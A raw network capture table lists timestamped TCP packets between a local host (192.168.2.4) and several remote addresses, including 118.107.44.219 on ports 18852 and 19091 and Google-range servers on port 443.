Dec 30, 2024 04:59:09.397591114 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.397605896 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.397613049 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.397988081 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.398024082 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.398049116 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.398060083 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.398068905 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.398078918 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.398086071 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.398088932 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.398109913 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.398119926 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.398129940 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.398139954 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.398149967 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.398156881 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.398160934 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.398169041 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.398178101 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.398209095 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.398992062 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.399003029 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.399013042 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.399023056 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.399034023 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.399043083 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.399045944 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.399053097 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.399063110 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.399068117 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.399074078 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.399084091 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.399089098 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.399102926 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.399683952 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.399698019 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.399712086 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.399724007 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.399725914 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.399741888 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.399749994 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.399775982 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.606108904 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.606133938 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.606146097 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.606151104 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.606162071 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.606173038 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.606184006 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.606201887 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.606235027 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.606237888 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.606244087 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.606285095 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.606362104 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.606373072 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.606383085 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.606393099 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.606401920 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.606403112 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.606414080 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.606421947 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.606441975 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.606615067 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.606625080 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.606636047 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.606650114 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.606678009 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.606741905 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.606869936 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.743877888 CET	443	49750	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:09.743937016 CET	49750	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:10.029541969 CET	49752	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:10.029640913 CET	443	49752	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:10.029787064 CET	49752	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:10.029834986 CET	49746	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:10.029865980 CET	443	49746	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:10.030229092 CET	49750	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:10.030246973 CET	443	49750	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:10.031198025 CET	49752	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:10.031236887 CET	443	49752	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:10.033189058 CET	49750	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:10.033194065 CET	443	49750	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:10.033596992 CET	49753	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:10.033622980 CET	443	49753	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:10.033833027 CET	49753	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:10.033984900 CET	49754	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:10.034012079 CET	443	49754	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:10.034061909 CET	49754	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:10.035434008 CET	49753	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:10.035451889 CET	443	49753	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:10.035648108 CET	49754	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:10.035660028 CET	443	49754	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:10.329732895 CET	443	49750	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:10.330096960 CET	49750	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:10.330965996 CET	49750	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:10.331072092 CET	443	49750	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:10.331353903 CET	443	49750	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:10.331376076 CET	49756	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:10.331404924 CET	49750	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:10.331424952 CET	443	49756	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:10.331439972 CET	49750	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:10.331588030 CET	49756	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:10.331764936 CET	49756	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:10.331780910 CET	443	49756	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:10.628175020 CET	443	49752	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:10.628407955 CET	49752	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:10.628868103 CET	49752	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:10.628885984 CET	443	49752	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:10.629272938 CET	49752	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:10.629286051 CET	443	49752	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:10.644217968 CET	443	49753	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:10.644351959 CET	49753	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:10.644658089 CET	49753	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:10.644658089 CET	49753	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:10.644668102 CET	443	49753	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:10.644692898 CET	443	49753	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:10.653080940 CET	443	49754	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:10.653351068 CET	49754	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:10.653834105 CET	443	49754	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:10.653933048 CET	49754	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:10.664690971 CET	49754	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:10.664705038 CET	443	49754	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:10.664947987 CET	443	49754	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:10.665105104 CET	49754	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:10.665395021 CET	49754	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:10.707336903 CET	443	49754	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:10.943769932 CET	443	49756	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:10.944489002 CET	443	49756	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:10.944520950 CET	49756	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:10.944552898 CET	443	49756	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:10.944756985 CET	49756	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:10.948756933 CET	49756	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:10.948762894 CET	443	49756	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:10.948983908 CET	443	49756	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:10.949394941 CET	49756	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:10.949394941 CET	49756	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:10.991353035 CET	443	49756	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:11.024569035 CET	443	49754	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:11.024688005 CET	49754	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:11.024697065 CET	443	49754	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:11.024776936 CET	49754	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:11.025640965 CET	49754	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:11.025681019 CET	443	49754	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:11.025813103 CET	443	49754	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:11.025825977 CET	49754	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:11.025861979 CET	49754	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:11.026407957 CET	49759	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:11.026432037 CET	443	49759	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:11.026932001 CET	49759	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:11.027123928 CET	49759	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:11.027138948 CET	443	49759	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:11.043987989 CET	443	49752	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:11.044030905 CET	443	49752	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:11.044059038 CET	49752	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:11.044104099 CET	443	49752	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:11.044137001 CET	49752	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:11.044158936 CET	443	49752	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:11.044600964 CET	49752	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:11.048533916 CET	49752	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:11.048564911 CET	443	49752	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:11.057086945 CET	49760	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:11.057113886 CET	443	49760	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:11.057257891 CET	49760	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:11.057781935 CET	49760	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:11.057796001 CET	443	49760	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:11.215178967 CET	443	49753	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:11.215234995 CET	443	49753	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:11.215259075 CET	49753	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:11.215271950 CET	443	49753	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:11.215339899 CET	49753	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:11.215344906 CET	443	49753	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:11.215399981 CET	443	49753	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:11.215415001 CET	49753	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:11.215490103 CET	49753	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:11.217711926 CET	49753	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:11.217720032 CET	443	49753	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:11.218415976 CET	49763	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:11.218426943 CET	443	49763	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:11.218962908 CET	49763	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:11.218962908 CET	49763	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:11.218978882 CET	443	49763	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:11.404489040 CET	443	49756	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:11.404678106 CET	49756	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:11.404702902 CET	443	49756	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:11.404750109 CET	49756	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:11.405421972 CET	443	49756	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:11.405517101 CET	443	49756	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:11.405586004 CET	49756	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:11.406055927 CET	49756	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:11.406069040 CET	443	49756	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:11.408813000 CET	49764	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:11.408843994 CET	443	49764	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:11.412313938 CET	49764	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:11.412589073 CET	49764	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:11.412604094 CET	443	49764	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:11.655488014 CET	443	49760	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:11.655556917 CET	49760	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:11.656114101 CET	49760	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:11.656125069 CET	443	49760	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:11.664603949 CET	49760	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:11.664609909 CET	443	49760	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:11.737406015 CET	443	49759	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:11.740825891 CET	49759	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:11.817317009 CET	443	49763	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:11.819040060 CET	49763	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:11.876301050 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:11.881162882 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:11.883873940 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:11.886897087 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:11.891666889 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:11.908792973 CET	49759	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:11.908818960 CET	443	49759	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:11.910628080 CET	49759	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:11.910634041 CET	443	49759	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:11.913463116 CET	49763	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:11.913467884 CET	443	49763	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:11.913649082 CET	49763	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:11.913655043 CET	443	49763	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:12.023858070 CET	443	49764	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:12.024708033 CET	49764	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:12.057130098 CET	49764	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:12.057141066 CET	443	49764	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:12.066596031 CET	49764	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:12.066601992 CET	443	49764	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:12.172774076 CET	443	49760	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:12.172828913 CET	443	49760	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:12.172908068 CET	443	49760	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:12.172990084 CET	49760	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:12.172990084 CET	49760	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:12.203596115 CET	443	49759	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:12.203660011 CET	443	49759	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:12.203660965 CET	49759	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:12.203706026 CET	49759	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:12.223628044 CET	49760	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:12.223649025 CET	443	49760	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:12.224073887 CET	49769	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:12.224090099 CET	443	49769	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:12.224328995 CET	49769	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:12.224380016 CET	49759	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:12.224391937 CET	443	49759	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:12.224400043 CET	49759	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:12.224435091 CET	49759	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:12.224554062 CET	49769	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:12.224562883 CET	443	49769	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:12.224868059 CET	49770	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:12.224884987 CET	443	49770	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:12.224963903 CET	49770	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:12.227638960 CET	49770	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:12.227650881 CET	443	49770	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:12.231391907 CET	443	49763	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:12.231431007 CET	443	49763	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:12.231445074 CET	49763	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:12.231450081 CET	443	49763	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:12.231473923 CET	49763	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:12.231503010 CET	49763	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:12.231507063 CET	443	49763	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:12.231543064 CET	443	49763	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:12.231580973 CET	49763	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:12.233767986 CET	49763	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:12.233772993 CET	443	49763	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:12.234158993 CET	49771	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:12.234174967 CET	443	49771	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:12.234236002 CET	49771	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:12.234699965 CET	49771	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:12.234710932 CET	443	49771	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:12.394128084 CET	443	49764	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:12.394200087 CET	49764	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:12.394656897 CET	443	49764	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:12.394726992 CET	49764	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:12.394747019 CET	443	49764	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:12.394793987 CET	49764	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:12.396091938 CET	49764	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:12.396115065 CET	443	49764	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:12.396136045 CET	49764	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:12.396156073 CET	49764	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:12.396653891 CET	49772	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:12.396703005 CET	443	49772	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:12.396786928 CET	49772	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:12.397013903 CET	49772	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:12.397028923 CET	443	49772	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:12.706993103 CET	49774	80	192.168.2.4	180.163.251.230
Dec 30, 2024 04:59:12.711956978 CET	80	49774	180.163.251.230	192.168.2.4
Dec 30, 2024 04:59:12.712025881 CET	49774	80	192.168.2.4	180.163.251.230
Dec 30, 2024 04:59:12.712706089 CET	49774	80	192.168.2.4	180.163.251.230
Dec 30, 2024 04:59:12.717480898 CET	80	49774	180.163.251.230	192.168.2.4
Dec 30, 2024 04:59:12.725769997 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:12.726237059 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:12.731030941 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:12.731040955 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:12.731050968 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:12.834500074 CET	443	49770	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:12.834564924 CET	49770	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:12.835860014 CET	443	49771	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:12.835952044 CET	49771	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:12.836301088 CET	49770	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:12.836306095 CET	443	49770	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:12.839201927 CET	49770	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:12.839206934 CET	443	49770	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:12.839538097 CET	49771	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:12.839545012 CET	443	49771	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:12.839852095 CET	49771	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:12.839855909 CET	443	49771	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:12.856775999 CET	443	49769	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:12.856826067 CET	49769	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:12.857290030 CET	49769	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:12.857295036 CET	443	49769	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:12.857547998 CET	49769	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:12.857552052 CET	443	49769	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:13.002235889 CET	443	49772	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:13.002384901 CET	49772	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:13.003520966 CET	49772	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:13.003529072 CET	443	49772	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:13.006472111 CET	49772	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:13.006477118 CET	443	49772	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:13.028049946 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.028184891 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.028194904 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.028204918 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.028214931 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.028224945 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.028224945 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.028234959 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.028244019 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.028254986 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.028256893 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.028266907 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.028270006 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.028279066 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.028287888 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.028301001 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.033080101 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.033094883 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.033106089 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.033124924 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.033158064 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.211862087 CET	443	49770	142.250.181.238	192.168.2.4
